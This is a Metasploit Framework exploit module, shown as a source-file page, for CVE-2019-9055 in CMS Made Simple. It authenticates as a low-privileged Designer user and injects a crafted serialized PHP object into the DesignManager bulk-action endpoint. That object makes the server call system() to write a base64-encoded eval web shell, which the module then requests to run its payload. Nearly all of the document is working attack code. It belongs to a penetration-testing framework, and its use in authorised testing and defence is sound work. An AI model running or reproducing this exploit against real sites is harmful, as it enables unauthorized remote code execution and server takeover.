Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/cmsms_object_injection_rce.rb
19720 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
include Msf::Exploit::Remote::HttpClient
9
include Msf::Exploit::FileDropper
10
prepend Msf::Exploit::Remote::AutoCheck
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'CMS Made Simple Authenticated RCE via object injection',
17
'Description' => %q{
18
An issue was discovered in CMS Made Simple 2.2.8.
19
In the module DesignManager (in the files action.admin_bulk_css.php
20
and action.admin_bulk_template.php), with an unprivileged user
21
with Designer permission, it is possible to reach an unserialize
22
call with a crafted value in the m1_allparms parameter,
23
and achieve object injection.
24
25
This module has been successfully tested on CMS Made Simple versions
26
2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.
27
},
28
'Author' => [
29
'Daniele Scanu danielescanu20[at]gmail.com', # Discovered and exploit. twitter.com/sk4pwn
30
],
31
'License' => MSF_LICENSE,
32
'References' => [
33
['CVE', '2019-9055'],
34
['URL', 'https://newsletter.cmsmadesimple.org/w/89247Qog4jCRCuRinvhsofwg'],
35
['URL', 'https://www.cmsmadesimple.org/2019/03/Announcing-CMS-Made-Simple-v2.2.10-Spuzzum']
36
],
37
'Privileged' => false,
38
'Platform' => ['php'],
39
'Arch' => [ARCH_PHP],
40
'Targets' => [['Automatic', {}]],
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2019-03-26',
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
register_options(
51
[
52
OptString.new('TARGETURI', [true, 'Base cmsms directory path', '/']),
53
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
54
OptString.new('PASSWORD', [true, 'Password to authenticate with', ''])
55
]
56
)
57
end
58
59
def multipart_form_data(uri, data, message)
60
send_request_cgi(
61
'uri' => normalize_uri(target_uri.path, 'admin', uri),
62
'method' => 'POST',
63
'data' => data,
64
'ctype' => "multipart/form-data; boundary=#{message.bound}",
65
'cookie' => @cookies
66
)
67
end
68
69
def post(uri, data)
70
send_request_cgi(
71
'uri' => normalize_uri(target_uri.path, 'admin', uri),
72
'method' => 'POST',
73
'vars_post' => data,
74
'cookie' => @cookies
75
)
76
end
77
78
def get(path, filename)
79
send_request_cgi(
80
'uri' => normalize_uri(target_uri.path, path, filename),
81
'method' => 'GET'
82
)
83
end
84
85
def check
86
res = get('', 'index.php')
87
unless res
88
vprint_error 'Connection failed'
89
return CheckCode::Unknown
90
end
91
92
unless res.body.match?(/CMS Made Simple/i)
93
return CheckCode::Safe
94
end
95
96
version = Rex::Version.new(res.body.scan(/CMS Made Simple<\/a> version (\d+\.\d+\.\d+)/).flatten.first)
97
vprint_status("#{peer} - CMS Made Simple Version: #{version}")
98
99
if version <= Rex::Version.new('2.2.9.1')
100
return CheckCode::Appears
101
end
102
103
return CheckCode::Safe
104
end
105
106
def login
107
data = {
108
'username' => datastore['USERNAME'],
109
'password' => datastore['PASSWORD'],
110
'loginsubmit' => 'Submit'
111
}
112
res = post('login.php', data)
113
114
unless res
115
fail_with(Failure::Unreachable,
116
'A response was not received from the remote host')
117
end
118
119
unless res.code == 302 && res.get_cookies && res.headers['Location'] =~ %r{\/admin\?(.*)?=(.*)}
120
fail_with(Failure::NoAccess, 'Authentication was unsuccessful')
121
end
122
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
123
vprint_good("#{peer} - Authentication successful")
124
@csrf_name = Regexp.last_match(1)
125
csrf_val = Regexp.last_match(2)
126
@csrf = { @csrf_name => csrf_val }
127
@cookies = res.get_cookies
128
end
129
130
def send_injection
131
# prepare shell command
132
shell_name = rand_text_alpha(8..12) + '.php'
133
cmd = Rex::Text.encode_base64(payload.encoded).delete('\n', '')
134
cmd = "echo \"<?php eval(base64_decode('#{cmd}')); ?>\" > #{shell_name}"
135
136
# prepare serialized object
137
final_payload = 'a:2:{s:10:"css_select";a:4:{i:0;s:2:"19";i:1;s:2:"21";i:2;O:13:"dm_xml_reader":1:{s:31:"'
138
final_payload += "\x00" + 'dm_xml_reader' + "\x00"
139
final_payload += '_old_err_handler";a:2:{i:0;O:21:"CmsLayoutTemplateType":1:{s:28:"'
140
final_payload += "\x00" + 'CmsLayoutTemplateType' + "\x00"
141
final_payload += '_data";a:2:{s:13:"help_callback";s:6:"system";s:4:"name";s:' + cmd.length.to_s + ':"' + cmd + '";}}'
142
final_payload += 'i:1;s:21:"get_template_helptext";}};i:3;s:5:"dummy";}s:15:"css_bulk_action";s:6:"export";}'
143
144
# create message with payload
145
message = Rex::MIME::Message.new
146
message.add_part(@csrf[@csrf_name], nil, nil, "form-data; name=\"#{@csrf_name}\"")
147
message.add_part('DesignManager,m1_,admin_bulk_template,0', nil, nil, 'form-data; name="mact"')
148
message.add_part(Rex::Text.encode_base64(final_payload), nil, nil, 'form-data; name="m1_allparms"')
149
data = message.to_s
150
151
# send payload
152
payload_res = multipart_form_data('moduleinterface.php', data, message)
153
fail_with(Failure::NotFound, 'Failed to send payload') unless payload_res
154
register_files_for_cleanup(shell_name)
155
# open shell
156
res = get('admin', shell_name)
157
if res && res.code == 404
158
print_error "Shell #{shell_name} not found"
159
end
160
end
161
162
def exploit
163
login
164
send_injection
165
end
166
end
167
168